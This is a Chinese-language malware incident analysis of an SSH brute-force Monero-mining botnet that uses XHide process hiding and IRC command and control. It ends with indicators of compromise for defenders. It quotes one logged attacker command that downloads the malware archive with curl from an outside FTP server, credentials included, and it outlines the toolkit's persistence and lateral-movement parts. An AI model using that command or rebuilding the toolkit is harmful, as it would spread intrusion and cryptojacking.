关于一宗门罗币挖矿安全事件的分析报告
概述
2019年08月08日,stxletto检测到一起利用SSH口令爆破感染、XHide隐藏伪装恶意程序进程、IRC服务作为C&C的门罗币挖矿事件。从捕获的多个样本来看,7月份的样本较5月份的样本,增加了内网SSH弱口令爆破的横向渗透模块,更具危害性。
事件攻击流程图
详情
通过终端EDR反馈的定时任务和CPU资源占用情况,我们在/var/tmp/路径下发现9个可疑文件,并有一个以空格做为名称的文件夹。
在日志系统中发现的异常命令(curl -O ftp://noji:noji2012@153.122.137.67/.kde/olduser.tgz)
我们在指定的FTP服务器上追溯到olduser.taz和scn.db两个gzip\tar文件。
olduser.taz内有go、i686、x86_64共3个文件。
经分析,olduser中的模块主要实现挖矿功能。
scn.db内有6个文件。
经分析,scn中的模块主要实现横向渗透功能。
定时任务
恶意程序为当前用户添加了每1分钟执行一次的任务
httpd文件
httpd文件是一个bash脚本文件,主要功能是重启/lib/httpds恶意程序。
而/lib/httpds文件不存在,且httpd和后文所述update文件在逻辑结构上相似,此任务应是一个早期版本。
autorun文件
autorun文件是一个bash脚本文件,主要功能是增加、更新定时任务update,并启动perl后门。
update文件
update文件是一个bash脚本文件,主要功能是如果进程存在则杀死已有进程后重启/var/tmp/ /.p/run恶意程序。
代码中mech.pid和实际的文件pid名称不对,导致无法杀死已有进程。每分钟执行一次定时任务后,会新建进程,导致系统中恶意进程越来越多。
在/var/opt/.crond/路径下发现相似文件,从创建时间等多种维度来看,变种进化过程如下:
- 2019-04-28 /var/opt/.crond/.p/run
- 2019-07-22 /var/tmp/ /.p/update
- 2019-07-27 /lib/httpd?
IRC后门
IRC后门主要存在.p文件夹中,对比2个样本,
主要功能模块没有变化,主要是增加横向扩散功能、更新Perl版本的IRC后门以及改变恶意程序路径。
run文件
run文件是一个bash脚本文件,主要功能是根据系统的硬件架构执行对应的XHide程序伪装执行python2elf版本的IRC后门,最后执行perl脚本的IRC后门。
h32\h64文件
h32文件是一个linux/i386版本的XHide程序,
h64文件是一个linux//amd64版本的XHide程序,
用于进程伪装和隐藏。
run32\run64文件
run32文件是一个linux/i386版本的由pyinstaller生成的ELF文件;
Run64文件是一个linux/amd64版本的由pyinstaller生成的ELF文件;
经分析其是一个用python语言开发undernetbot,用于使用IRC通道作为C&C的后门程序。
..%20文件
..%20文件是一个源自TeaMrx Perlbot的Perl IRC后门。启动后可以从配置列表中随机选定一个伪装成特定进程,使用从配置列表中随机选定昵称在指定的undernet.org提供的IRC服务频道中接收C&C指令。
通过分析2个样本Perl IRC后门主要更新体现在IRC服务、矿池地址、昵称列表和伪装进程列表方面。
挖矿模块
olduser.taz文件
olduser.taz内有14个文件,主要功能如下:
文件名称 | 主要功能 |
---|---|
..%20 | Perl版本的IRC后门 |
autorun | 增加、更新定时任务并启动update和perl后门 |
bte.py | python版本的加解密、编解码工具 |
cfg | perl后门的配置文件 |
cron | 准备添加的定时任务 |
cron.d | 默认模板的计划任务, |
dir | 恶意程序存放位置的配置文件 |
h32 | 32位版本的XHide程序 |
h64 | 64位版本的XHide程序 |
m.dir | 指向/lib/dev的配置文件 |
pid | 恶意程序的pid文件 |
run | 根据硬件架构选择启动对应run32\run64的shell脚本 |
run32 | 32位版本的Python IRC后门程序 |
run64 | 64位版本的Python IRC后门程序 |
go文件
go文件是一个bash脚本文件,主要功能是根据系统的硬件架构把对应的ELF程序复制成crond文件并执行,然后执行perl脚本的IRC后门,最后删除恶意文件,并清空历史记录。
i686\x86_64\crond文件
i686文件是一个经过upx加壳的linux/i386版本的xmrig程序;
X86_64\crond文件是一个经过upx加壳的linux/amd64版本的xmrig程序。
主要功能是门罗币挖矿,其根据xmrig的开源代码做定制开发,用于僵尸网络时,可以指定矿池的静态IP地址,规避DNS解析,以逃避安全检测。
横向渗透
scn.db文件
scn.db内有6个文件,主要功能如下:
文件名称 | 主要功能 |
---|---|
passfile | 文件中3个文件存放(印度?)常见的账号密码,用于口令暴力破解。 |
scanate | 存放一些代理服务器(俄罗斯)。 |
201–22 | 存放210.212.0.0网段的地址。 |
auto | 网段扫描器 |
brute | SSH账号密码暴破工具 |
masscan | Masscan扫描器 |
scan | Legion2000 开发的扫描器,扫描特定网段(如210.212.0.0-210.212.255.255) |
start | SSH banner爬虫 |
vuln.txt | 存放暴破是否成功结果文件 |
auto文件
auto文件是一个bash脚本文件,主要功能是根据A段地址生成B网段扫描任务。
start文件
start文件是一个bash脚本文件,主要功能是根据指定的网段地址和端口,爬取SSH服务地址,并用预置的账号密码文件爆破。
scan文件
scan文件是一个linux/amd64版本的ELF文件,Legion2000 开发的扫描器,可以扫描指定的网段。
brute文件
brute文件是一个linux/amd64版本的ELF文件,主要功能是对指定的IP验证预置的SSH账号密码是否能登录成功。
bte.py文件
bte.py是一个python脚本文件,主要提供使用特定密码的加密、解密方法。
IoCs
Hash
文件名称 | SHA256 |
---|---|
x86_64 | d10cb54fe685afdc56f59f1f328276b7027b5367d3dd5131362dd085fef03c7d |
i686 | 090e8053cfeb8591e33907c1cb4e6fc1f593623851b2cd0022ef1c1472b4cfa1 |
h32 | 45ed59d5b27d22567d91a65623d3b7f11726f55b497c383bc2d8d330e5e17161 |
h64 | 7fe9d6d8b9390020862ca7dc9e69c1e2b676db5898e4bfad51d66250e9af3eaf |
run32 | bc5c36eca38fb2379062a02e2a5f08fe89f73964bfedba38ce301f828d35ab2e |
run64 | e312c04b07209f4e5f98cbc9dbd0b1e495717e2d87ba5d61d4163e2aa02cff52 |
olduser.tgz | cd5166885f266cdb5afa5c780e7375ce11dd2a28fd0605aba4e2cb6f27a4d33a |
scn.db | 7b1070b413f70a00f8b5f0fd480761873367b38dcdee96a6832e1b43a5d0e374 |
brute | 3c00611b670b128c1ca6d3c6f0e9522eea385e0670e74a9b2b26325b4e13c864 |
masscan | 9aa8a11a52b21035ef7badb3f709fa9aa7e757788ad6100b4086f1c6a18c8ab2 |
scan | 60cb56218ecc73cb4262f363c8563aa42a1bff63e5d8b218d79702567b908ae9 |
失陷主机
Domain
olduser-v4.pwndns.pw
IRC
USER zwsiewale xx.xx.xx.xx Bucharest.RO.EU.WeakNet.eu :tupa
综述
综上所述,此种安全攻击事件以SSH口令爆破为突破口,使用XHide隐藏伪装恶意程序进程、并把境外IRC服务作为C&C,在增加内网SSH弱口令爆破的横向渗透模块后更具危害性。我们提醒企业用户强化SSH口令,使用上文中的IoC检测、清除恶意文件。